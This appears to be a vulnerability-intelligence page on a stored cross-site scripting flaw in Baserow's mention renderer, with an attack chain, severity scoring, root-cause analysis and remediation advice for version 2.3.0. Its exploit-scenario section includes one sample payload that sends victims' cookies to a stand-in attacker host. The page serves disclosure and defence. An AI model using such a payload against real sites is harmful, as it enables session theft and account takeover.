Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker registers or joins target workspace at minimum privilege level
-
DeliveryAttacker sets first_name to HTML/JS payload via PATCH /api/user/account/
-
ExploitAny workspace member creates a rich-text mention of the attacker's account
-
ExecutionMention renderer interpolates unescaped name into v-html-rendered span
-
PersistInjected script executes in victim's browser on table load
-
ImpactAttacker exfiltrates session tokens or performs actions as victim
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must hold a valid Baserow account within the target workspace; the lowest permission level (such as viewer or commenter) is explicitly sufficient - no administrative or elevated role is required. Beyond the attacker's account, at least one other workspace member must have created a rich-text cell containing a mention of the attacker's account (typing @attacker-name) in any table the workspace has access to. Once this mention exists, the payload fires automatically for every workspace member who loads the table - no click, link-following, or other deliberate victim action is needed (confirmed by UI:N in the CVSS 4.0 vector). The payload persists until the attacker's first_name is changed back to a safe value or the row containing the mention is deleted. Exploitation is limited to workspaces where the attacker holds membership and where rich-text fields are in use; plain-text field types are not vulnerable to this path. Self-hosted deployments with a Content Security Policy that blocks inline scripts or restricts script-src would prevent JavaScript execution but not HTML injection. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) accurately reflects the attack mechanics: network-reachable, low complexity, requiring only a low-privileged workspace account and no victim interaction. The PR:L metric confirms authentication is required, but at the absolute minimum membership level. The UI:N designation is operationally significant - unlike reflected or click-triggered XSS, this payload fires passively for every user who loads a table containing the poisoned mention, making it a broadcast attack. The CVSS 5.3 Medium score somewhat underrepresents real-world priority: stored XSS with zero-click, workspace-wide delivery is materially more dangerous than typical reflected XSS at the same score. No EPSS data was provided, so exploitation probability cannot be quantified from that signal. No CISA KEV listing exists, meaning active exploitation is unconfirmed. The SSVC exploitation status is therefore 'none identified,' though the low attack complexity and self-service payload delivery make future exploitation feasible. Confidentiality and integrity impact are rated Low (VC:L/VI:L/SC:L/SI:L), consistent with typical stored XSS capability (session token theft, DOM manipulation, credential harvesting via fake UI), but these impacts are compounded by the persistent, workspace-wide scope. |
| Exploit ScenarioDerived | An attacker with the lowest-level membership in a Baserow workspace sets their account display name to a payload such as >"><img src=x onerror=fetch('https://attacker.example/c?t='+document.cookie)> via a direct API call to PATCH /api/user/account/. A colleague then types @attacker in any rich-text field cell, creating a persistent mention. Every subsequent workspace member who views that table automatically executes the injected script in their browser session, silently exfiltrating their session cookies or authentication tokens to the attacker's server with no clicks required. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 24, 2026
Stored cross-site scripting in Baserow's rich-text mention renderer allows any authenticated workspace member - at the lowest permission level - to permanently inject and execute arbitrary scripts in the browsers of all other workspace members who view any table containing a mention of the attacker's account. The attack requires no victim interaction beyond passively loading the table view, and the payload persists until the attacker's display name is corrected or the offending row is deleted. No public exploit has been identified at time of analysis, and the vulnerability is not listed in the CISA KEV catalog; however, the zero-click broadcast delivery model makes this operationally more impactful than the CVSS 5.3 base score suggests for multi-tenant Baserow deployments.
RemediationAI
Upgrade to Baserow 2.3.0 or later, which introduces an escapeHtml() function in mention.js that replaces &, <, >, double-quote, and single-quote characters with their HTML entity equivalents before interpolating the display name into the mention span template. The fix is confirmed in commit a870dc0d38c9 (https://github.com/baserow/baserow/commit/a870dc0d38c9) and PR #5618 (https://github.com/baserow/baserow/pull/5618). For deployments unable to upgrade immediately, consider blocking the PATCH /api/user/account/ endpoint at the reverse proxy layer to prevent display name updates - this prevents new payloads but does not remove names already set, and it breaks the legitimate account-editing workflow for all users. Alternatively, audit the users database table for first_name values containing HTML special characters (double-quote, angle brackets) to identify accounts that may have already staged a payload and reset those names manually. Disabling rich-text field types in workspaces with untrusted members eliminates the rendering surface but removes collaborative rich-text functionality entirely. A Content Security Policy header with a strict script-src directive that disallows inline scripts would block JavaScript execution from injected payloads while preserving application function, and is the most operationally viable compensating control where a CSP can be deployed.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Baserow is an open-source no-code collaborative database platform (CPE: cpe:2.3:a:baserow:baserow:*:*:*:*:*:*:*:*). The flaw resides in the mention rendering pipeline of its Vue.js web frontend. The account API endpoint (PATCH /api/user/account/) accepts and stores the first_name field verbatim without sanitization. In web-frontend/modules/core/editor/mention.js (confirmed at tag 2.2.2 via the referenced source blob), the parseMention function builds a <span> element using a JavaScript template literal that places user.name directly into both the data-label HTML attribute and the element text body without any HTML entity encoding. A double-quote character in the name closes the data-label attribute and the opening tag, injecting arbitrary HTML into the element content. The resulting markup string is then passed to Vue's v-html directive in rich-text field components, which renders raw HTML and bypasses Vue's normal template auto-escaping. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause class: user-controlled data stored at write time is incorporated into an HTML rendering context without escaping at read time.
Know when Baserow gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
PR:L because any workspace member account suffices; UI:R in 3.1 because the victim must navigate to the table page; S:C because attacker's payload executes in other users' browser sessions.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
Baserow interpolates a user's display name into the rich-text mention markup without HTML encoding. PATCH /api/user/account/ stores the first_name value verbatim, and the mention renderer in web-frontend/modules/core/editor/mention.js builds its element with a template literal that places the name into a data-label attribute and the element body unescaped. A name containing a double quote closes that attribute and the opening tag, so following markup lands in the element content. The result is rendered through v-html by the rich-text field components, so any rich-text cell mentioning the account executes the stored script for every workspace member who views the table, without a click. Any workspace member, at the lowest permission level, can set the name and reach every other member of the workspace, and the payload persists until the name is changed or the mentioning row is removed. Version 2.3.0 escapes the value before interpolation.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Unauthenticated data disclosure in Baserow's Application Builder exposes all configured data source records to any calle
SQL injection in Baserow 2.3.3's index() formula function allows low-privileged authenticated users to supply an undocum
SSRF in URL file upload in Baserow <1.1.0 allows remote authenticated users to retrieve files from the internal server n
Baserow before 2.3.0 exposes cross-workspace data disclosure through its unique_row_values field endpoint, which lacks a
EUVD-2026-65009
GHSA-6jjx-jh3j-cxqj
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB